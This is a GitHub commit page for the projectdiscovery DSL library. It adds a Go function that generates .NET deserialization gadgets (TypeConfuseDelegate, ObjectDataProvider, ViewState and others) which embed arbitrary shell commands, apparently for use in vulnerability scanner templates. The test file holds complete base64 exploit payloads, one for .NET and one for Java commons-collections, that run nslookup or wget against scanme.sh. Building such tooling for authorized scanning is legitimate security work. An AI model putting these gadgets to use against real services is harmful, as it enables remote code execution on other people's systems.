Skip to content

Commit 9e727f8

Browse files
authored
Merge pull request #282 from projectdiscovery/add-dotnet-deserialization-helpers
feat: added support for dotnet deserialization gadget generation
2 parents a8e132e + ba019a4 commit 9e727f8

File tree

5 files changed

+242
-18
lines changed

5 files changed

+242
-18
lines changed
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
package deserialization
2+
3+
import (
4+
"bytes"
5+
"compress/gzip"
6+
"encoding/base64"
7+
"encoding/hex"
8+
"strings"
9+
10+
"github.com/vulncheck-oss/go-exploit/dotnet"
11+
)
12+
13+
// GenerateDotNetGadget generates a .NET deserialization gadget with a command/URL, formatter and encoding.
14+
//
15+
// Gadgets (Command-based): windows-identity, claims-principal, dataset, dataset-type-spoof, object-data-provider, text-formatting-runproperties, type-confuse-delegate
16+
// Gadgets (URL-based): object-ref, veeam-crypto-keyinfo
17+
// Gadgets (XML-based): dataset-xmldiffgram
18+
// Gadgets (DLL-based): axhost-state-dll, dll-reflection
19+
// Gadgets (ViewState): viewstate - format: "base64_inner_payload:machineKey:generator"
20+
// Gadgets (Prebuilt): Any other name loads via ReadGadget
21+
//
22+
// Formatters: binary/binaryformatter (default), soap/soapformatter, soapwithexceptions/soap-exceptions, los/losformatter
23+
// Encodings: raw, hex, gzip, gzip-base64, base64-raw, default (URL-safe base64)
24+
func GenerateDotNetGadget(gadget, cmd, formatter, encoding string) string {
25+
var payload string
26+
var ok bool
27+
28+
if formatter == "" {
29+
formatter = dotnet.BinaryFormatter
30+
}
31+
32+
formatterStr := mapFormatter(formatter)
33+
34+
switch gadget {
35+
case "windows-identity":
36+
program, args := parseCommand(cmd)
37+
payload, ok = dotnet.CreateWindowsIdentity(program, args, formatterStr)
38+
case "claims-principal":
39+
program, args := parseCommand(cmd)
40+
payload, ok = dotnet.CreateClaimsPrincipal(program, args, formatterStr)
41+
case "dataset":
42+
program, args := parseCommand(cmd)
43+
payload, ok = dotnet.CreateDataSet(program, args, formatterStr)
44+
case "dataset-type-spoof":
45+
program, args := parseCommand(cmd)
46+
payload, ok = dotnet.CreateDataSetTypeSpoof(program, args, formatterStr)
47+
case "dataset-xmldiffgram":
48+
payload, ok = dotnet.CreateDataSetXMLDiffGram(cmd)
49+
case "object-data-provider":
50+
program, args := parseCommand(cmd)
51+
payload, ok = dotnet.CreateObjectDataProvider(program, args, formatterStr)
52+
case "text-formatting-runproperties":
53+
program, args := parseCommand(cmd)
54+
payload, ok = dotnet.CreateTextFormattingRunProperties(program, args, formatterStr)
55+
case "type-confuse-delegate":
56+
program, args := parseCommand(cmd)
57+
payload, ok = dotnet.CreateTypeConfuseDelegate(program, args, formatterStr)
58+
case "object-ref":
59+
payload, ok = dotnet.CreateObjectRef(cmd, formatterStr)
60+
case "veeam-crypto-keyinfo":
61+
payload, ok = dotnet.CreateVeeamCryptoKeyInfo(cmd, formatterStr)
62+
case "axhost-state-dll":
63+
dllBytes := []byte(cmd)
64+
if isBase64(cmd) {
65+
decoded, err := base64.StdEncoding.DecodeString(cmd)
66+
if err == nil {
67+
dllBytes = decoded
68+
}
69+
}
70+
payload, ok = dotnet.CreateAxHostStateDLL(dllBytes, formatterStr)
71+
case "dll-reflection":
72+
dllBytes := []byte(cmd)
73+
if isBase64(cmd) {
74+
decoded, err := base64.StdEncoding.DecodeString(cmd)
75+
if err == nil {
76+
dllBytes = decoded
77+
}
78+
}
79+
payload, ok = dotnet.CreateDLLReflection(dllBytes, formatterStr)
80+
case "viewstate":
81+
parts := strings.SplitN(cmd, ":", 3)
82+
if len(parts) != 3 {
83+
return ""
84+
}
85+
// Decode base64-encoded inner payload (first part)
86+
innerPayload := strings.TrimSpace(parts[0])
87+
if isBase64(innerPayload) {
88+
decoded, err := base64.StdEncoding.DecodeString(innerPayload)
89+
if err != nil {
90+
return ""
91+
}
92+
innerPayload = string(decoded)
93+
}
94+
95+
// CreateViewstatePayload returns a base64-encoded string
96+
viewStateBase64, success := dotnet.CreateViewstatePayload(innerPayload, strings.TrimSpace(parts[1]), strings.TrimSpace(parts[2]))
97+
if !success {
98+
return ""
99+
}
100+
101+
// Decode back to raw bytes because dotnetEncodingHelper will handle encoding
102+
decodedViewState, err := base64.StdEncoding.DecodeString(viewStateBase64)
103+
if err != nil {
104+
return ""
105+
}
106+
payload = string(decodedViewState)
107+
ok = true
108+
default:
109+
gadgetBytes, err := dotnet.ReadGadget(gadget, formatterStr)
110+
if err != nil {
111+
return ""
112+
}
113+
payload = string(gadgetBytes)
114+
ok = true
115+
}
116+
117+
if !ok {
118+
return ""
119+
}
120+
121+
return dotnetEncodingHelper([]byte(payload), encoding)
122+
}
123+
124+
// parseCommand splits a command string into program and arguments.
125+
// Wraps with "cmd /c" unless program is cmd/powershell/pwsh.
126+
func parseCommand(cmd string) (string, string) {
127+
if cmd == "" {
128+
return "", ""
129+
}
130+
131+
parts := strings.SplitN(cmd, " ", 2)
132+
if len(parts) == 1 {
133+
return "cmd", "/c " + cmd
134+
}
135+
136+
program := parts[0]
137+
if program == "cmd" || program == "powershell" || program == "pwsh" {
138+
return program, parts[1]
139+
}
140+
141+
return "cmd", "/c " + cmd
142+
}
143+
144+
// mapFormatter maps user-friendly formatter names to dotnet package constants.
145+
// Supports: binary/binaryformatter, soap/soapformatter, soapwithexceptions/soap-exceptions, los/losformatter.
146+
func mapFormatter(formatter string) string {
147+
switch strings.ToLower(formatter) {
148+
case "binary", "binaryformatter":
149+
return dotnet.BinaryFormatter
150+
case "soap", "soapformatter":
151+
return dotnet.SOAPFormatter
152+
case "soapwithexceptions", "soap-exceptions":
153+
return dotnet.SOAPFormatterWithExceptions
154+
case "los", "losformatter":
155+
return dotnet.LOSFormatter
156+
case "":
157+
return ""
158+
default:
159+
return formatter
160+
}
161+
}
162+
163+
// isBase64 checks if a string is valid base64.
164+
// Auto-detects base64-encoded DLL payloads.
165+
func isBase64(s string) bool {
166+
if len(s) < 4 {
167+
return false
168+
}
169+
_, err := base64.StdEncoding.DecodeString(s)
170+
return err == nil
171+
}
172+
173+
// dotnetEncodingHelper performs encoding of the generated gadget based on provided options.
174+
// Supports: raw, hex, gzip, gzip-base64, base64-raw, default (URL-safe base64).
175+
func dotnetEncodingHelper(returnData []byte, encoding string) string {
176+
switch encoding {
177+
case "raw":
178+
return string(returnData)
179+
case "hex":
180+
return hex.EncodeToString(returnData)
181+
case "gzip":
182+
buffer := &bytes.Buffer{}
183+
writer := gzip.NewWriter(buffer)
184+
if _, err := writer.Write(returnData); err != nil {
185+
return ""
186+
}
187+
_ = writer.Close()
188+
return buffer.String()
189+
case "gzip-base64":
190+
buffer := &bytes.Buffer{}
191+
writer := gzip.NewWriter(buffer)
192+
if _, err := writer.Write(returnData); err != nil {
193+
return ""
194+
}
195+
_ = writer.Close()
196+
return urlsafeBase64Encode(buffer.Bytes())
197+
case "base64-raw":
198+
return base64.StdEncoding.EncodeToString(returnData)
199+
default:
200+
return urlsafeBase64Encode(returnData)
201+
}
202+
}

dsl.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -983,6 +983,14 @@ func init() {
983983
data := deserialization.GenerateJavaGadget(gadget, cmd, encoding)
984984
return data, nil
985985
}))
986+
MustAddFunction(NewWithPositionalArgs("generate_dotnet_gadget", 4, true, func(args ...interface{}) (interface{}, error) {
987+
gadget := args[0].(string)
988+
cmd := args[1].(string)
989+
formatter := args[2].(string)
990+
encoding := args[3].(string)
991+
data := deserialization.GenerateDotNetGadget(gadget, cmd, formatter, encoding)
992+
return data, nil
993+
}))
986994
MustAddFunction(NewWithSingleSignature("unix_time",
987995
"(optionalSeconds uint) float64",
988996
false,

dsl_test.go

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -254,6 +254,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
254254
deflate(arg1 interface{}) interface{}
255255
ends_with(str string, suffix ...string) bool
256256
equals_any(s interface{}, subs ...interface{}) bool
257+
generate_dotnet_gadget(arg1, arg2, arg3, arg4 interface{}) interface{}
257258
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
258259
generate_jwt(jsonString, algorithm, optionalSignature string, optionalMaxAgeUnix interface{}) string
259260
gzip(arg1 interface{}) interface{}
@@ -398,9 +399,10 @@ func TestDslExpressions(t *testing.T) {
398399
`deflate("Hello")`: "\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff",
399400
`inflate(hex_decode("f348cdc9c90700"))`: "Hello",
400401
`inflate(hex_decode("f248cdc9c907040000ffff"))`: "Hello",
401-
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
402-
`generate_java_gadget("commons-collections3.1", "wget http://scanme.sh", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAFXdnZXQgaHR0cDovL3NjYW5tZS5zaHQABGV4ZWN1cQB%2BABsAAAABcQB%2BACBzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4",
403-
`generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")`: []byte("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U"),
402+
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
403+
`generate_dotnet_gadget("type-confuse-delegate", "cmd.exe /C nslookup http://scanme.sh", "binary", "base64-raw")`: "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAACcvYyBjbWQuZXhlIC9DIG5zbG9va3VwIGh0dHA6Ly9zY2FubWUuc2gGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDQAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==",
404+
`generate_java_gadget("commons-collections3.1", "wget http://scanme.sh", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAFXdnZXQgaHR0cDovL3NjYW5tZS5zaHQABGV4ZWN1cQB%2BABsAAAABcQB%2BACBzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4",
405+
`generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")`: []byte("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U"),
404406
`base64_decode("SGVsbG8=")`: "Hello",
405407
`hex_decode("6161")`: "aa",
406408
`len("Hello")`: float64(5),

go.mod

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
module github.com/projectdiscovery/dsl
22

3-
go 1.24.0
3+
go 1.24.1
4+
5+
toolchain go1.24.2
46

57
require (
68
github.com/Knetic/govaluate v3.0.0+incompatible
@@ -20,8 +22,9 @@ require (
2022
github.com/sashabaranov/go-openai v1.37.0
2123
github.com/spaolacci/murmur3 v1.1.0
2224
github.com/stretchr/testify v1.11.1
23-
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8
24-
golang.org/x/text v0.24.0
25+
github.com/vulncheck-oss/go-exploit v1.51.0
26+
golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b
27+
golang.org/x/text v0.31.0
2528
)
2629

2730
require (
@@ -61,11 +64,11 @@ require (
6164
github.com/xdg-go/pbkdf2 v1.0.0 // indirect
6265
go.uber.org/multierr v1.11.0 // indirect
6366
go4.org v0.0.0-20230225012048-214862532bf5 // indirect
64-
golang.org/x/mod v0.22.0 // indirect
65-
golang.org/x/net v0.39.0 // indirect
66-
golang.org/x/sync v0.13.0 // indirect
67-
golang.org/x/sys v0.32.0 // indirect
68-
golang.org/x/tools v0.29.0 // indirect
67+
golang.org/x/mod v0.29.0 // indirect
68+
golang.org/x/net v0.47.0 // indirect
69+
golang.org/x/sync v0.18.0 // indirect
70+
golang.org/x/sys v0.38.0 // indirect
71+
golang.org/x/tools v0.38.0 // indirect
6972
gopkg.in/djherbis/times.v1 v1.3.0 // indirect
7073
gopkg.in/yaml.v3 v3.0.1 // indirect
7174
)

0 commit comments

Comments
 (0)